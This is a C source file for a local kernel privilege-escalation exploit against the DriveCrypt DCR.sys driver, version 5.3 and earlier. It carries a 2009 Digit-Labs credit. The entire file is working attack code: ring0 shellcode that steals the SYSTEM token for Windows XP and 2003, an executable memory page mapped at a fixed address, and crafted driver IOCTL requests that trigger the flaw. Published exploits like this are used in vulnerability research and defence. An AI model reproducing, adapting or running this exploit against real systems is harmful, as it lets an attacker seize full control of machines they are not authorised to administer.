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/* drivecrypt-dcr.c * * Copyright (c) 2009 by <mu-b@digit-labs.org> * * DriveCrypt <= 5.3 local kernel ring0 SYSTEM exploit * by mu-b - Sun 16 Aug 2009 * * - Tested on: DCR.sys * * Compile: MinGW + -lntdll * *- Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2009!@$! */ #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <ddk/ntapi.h> #define DCR_IOCTL 0x00073800 static unsigned char win32_fixup[] = "\x89\xe5" "\x81\xc5\xb4\x0c\x00\x00"; /* Win2k3 SP1/2 - kernel EPROCESS token switcher * by mu-b <mu-b@digit-lab.org> */ static unsigned char win2k3_ring0_shell[] = /* _ring0 */ "\xb8\x24\xf1\xdf\xff" "\x8b\x00" "\x8b\xb0\x18\x02\x00\x00" "\x89\xf0" /* _sys_eprocess_loop */ "\x8b\x98\x94\x00\x00\x00" "\x81\xfb\x04\x00\x00\x00" "\x74\x11" "\x8b\x80\x9c\x00\x00\x00" "\x2d\x98\x00\x00\x00" "\x39\xf0" "\x75\xe3" "\xeb\x21" /* _sys_eprocess_found*/ "\x89\xc1" "\x89\xf0" /* _cmd_eprocess_loop */ "\x8b\x98\x94\x00\x00\x00" "\x81\xfb\x00\x00\x00\x00" "\x74\x10" "\x8b\x80\x9c\x00\x00\x00" "\x2d\x98\x00\x00\x00" "\x39\xf0" "\x75\xe3" /* _not_found */ "\xcc" /* _cmd_eprocess_found * _ring0_end */ /* copy tokens!$%!*/ "\x8b\x89\xd8\x00\x00\x00" "\x89\x88\xd8\x00\x00\x00" "\x90"; static unsigned char winxp_ring0_shell[] = /* _ring0 */ "\xb8\x24\xf1\xdf\xff" "\x8b\x00" "\x8b\x70\x44" "\x89\xf0" /* _sys_eprocess_loop */ "\x8b\x98\x84\x00\x00\x00" "\x81\xfb\x04\x00\x00\x00" "\x74\x11" "\x8b\x80\x8c\x00\x00\x00" "\x2d\x88\x00\x00\x00" "\x39\xf0" "\x75\xe3" "\xeb\x21" /* _sys_eprocess_found*/ "\x89\xc1" "\x89\xf0" /* _cmd_eprocess_loop */ "\x8b\x98\x84\x00\x00\x00" "\x81\xfb\x00\x00\x00\x00" "\x74\x10" "\x8b\x80\x8c\x00\x00\x00" "\x2d\x88\x00\x00\x00" "\x39\xf0" "\x75\xe3" /* _not_found */ "\xcc" /* _cmd_eprocess_found * _ring0_end */ /* copy tokens!$%!*/ "\x8b\x89\xc8\x00\x00\x00" "\x89\x88\xc8\x00\x00\x00" "\x90"; static unsigned char win32_ret[] = "\xb8\x63\x39\x01\x00" "\xff\xe0"; struct ioctl_req { int action; int flag; char *arg1; char pad[0x0C]; char *arg2; char _pad[0x0C]; void *ptr; }; static PCHAR fixup_ring0_shell (PVOID base, DWORD ppid, DWORD *zlen) { DWORD dwVersion, dwMajorVersion, dwMinorVersion; dwVersion = GetVersion (); dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion))); dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion))); if (dwMajorVersion != 5) { fprintf (stderr, "* GetVersion, unsupported version\n"); exit (EXIT_FAILURE); } *(PDWORD) &win32_ret[1] += (DWORD) base; switch (dwMinorVersion) { case 1: *zlen = sizeof winxp_ring0_shell - 1; *(PDWORD) &winxp_ring0_shell[55] = ppid; return (winxp_ring0_shell); case 2: *zlen = sizeof win2k3_ring0_shell - 1; *(PDWORD) &win2k3_ring0_shell[58] = ppid; return (win2k3_ring0_shell); default: fprintf (stderr, "* GetVersion, unsupported version\n"); exit (EXIT_FAILURE); } return (NULL); } static PVOID get_module_base (void) { PSYSTEM_MODULE_INFORMATION_ENTRY pModuleBase; PSYSTEM_MODULE_INFORMATION pModuleInfo; DWORD i, num_modules, status, rlen; PVOID result; status = NtQuerySystemInformation (SystemModuleInformation, NULL, 0, &rlen); if (status != STATUS_INFO_LENGTH_MISMATCH) { fprintf (stderr, "* NtQuerySystemInformation failed, 0x%08X\n", status); exit (EXIT_FAILURE); } pModuleInfo = (PSYSTEM_MODULE_INFORMATION) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, rlen); status = NtQuerySystemInformation (SystemModuleInformation, pModuleInfo, rlen, &rlen); if (status != STATUS_SUCCESS) { fprintf (stderr, "* NtQuerySystemInformation failed, 0x%08X\n", status); exit (EXIT_FAILURE); } num_modules = pModuleInfo->Count; pModuleBase = &pModuleInfo->Module[0]; result = NULL; for (i = 0; i < num_modules; i++, pModuleBase++) if (strstr (pModuleBase->ImageName, "DCR.sys")) { result = pModuleBase->Base; break; } HeapFree (GetProcessHeap (), HEAP_NO_SERIALIZE, pModuleInfo); return (result); } int main (int argc, char **argv) { struct ioctl_req req; CHAR buf[1024], buf1[8], buf2[0x88+1]; DWORD rlen, zlen, ppid; LPVOID zpage, zbuf, base; HANDLE hFile; BOOL result; printf ("DriveCrypt <= 5.3 local kernel ring0 SYSTEM exploit\n" "by: <mu-b@digit-labs.org>\n" "http://www.digit-labs.org/ -- Digit-Labs 2009!@$!\n\n"); if (argc <= 1) { fprintf (stderr, "Usage: %s <processid to elevate>\n", argv[0]); exit (EXIT_SUCCESS); } ppid = atoi (argv[1]); hFile = CreateFileA ("\\\\.\\DCR", FILE_EXECUTE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { fprintf (stderr, "* CreateFileA failed, %d\n", hFile); exit (EXIT_FAILURE); } memset (&req, 0, sizeof req); req.action = 0x153; req.flag = 0; req.ptr = buf; printf ("* enabling driver...\n"); result = DeviceIoControl (hFile, DCR_IOCTL, &req, sizeof req, &req, sizeof req, &rlen, 0); if (!result) { fprintf (stderr, "* DeviceIoControl failed\n"); exit (EXIT_FAILURE); } printf ("** version: 0x%08X [%s], %s\n", *(int *) &buf[8], &buf[12], &buf[19]); printf ("* done\n"); zpage = VirtualAlloc ((LPVOID) 0x610000, 0x10000, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (zpage == NULL) { fprintf (stderr, "* VirtualAlloc failed\n"); exit (EXIT_FAILURE); } printf ("* allocated page: 0x%08X [%d-bytes]\n", zpage, 0x10000); base = get_module_base (); if (base == NULL) { fprintf (stderr, "* unable to find DCR.sys base\n"); exit (EXIT_FAILURE); } printf ("* DCR.sys base: 0x%08X\n", base); memset (zpage, 0xCC, 0x10000); zbuf = fixup_ring0_shell (base, ppid, &zlen); memcpy ((LPVOID) zpage + 0x61, win32_fixup, sizeof (win32_fixup) - 1); memcpy ((LPVOID) (zpage + 0x61 + sizeof (win32_fixup) - 1), zbuf, zlen); memcpy ((LPVOID) (zpage + 0x61 + sizeof (win32_fixup) + zlen - 1), win32_ret, sizeof (win32_ret) - 1); memset (&req, 0, sizeof req); req.action = 79; req.flag = 0; memset (buf1, 0x41, sizeof buf1); buf1[sizeof buf1 - 1] = 0; req.arg1 = buf1; memset (buf2, 0x61, sizeof buf2); buf2[sizeof buf2 - 1] = 0; req.arg2 = buf2; req.ptr = buf; printf ("* hitting.. "); fflush (stdout); result = DeviceIoControl (hFile, DCR_IOCTL, &req, sizeof req, &req, sizeof req, &rlen, 0); if (!result) { fprintf (stderr, "* DeviceIoControl failed\n"); exit (EXIT_FAILURE); } printf ("done\n\n" "* hmmm, you didn't STOP the box?!?!\n"); CloseHandle (hFile); return (EXIT_SUCCESS); } |
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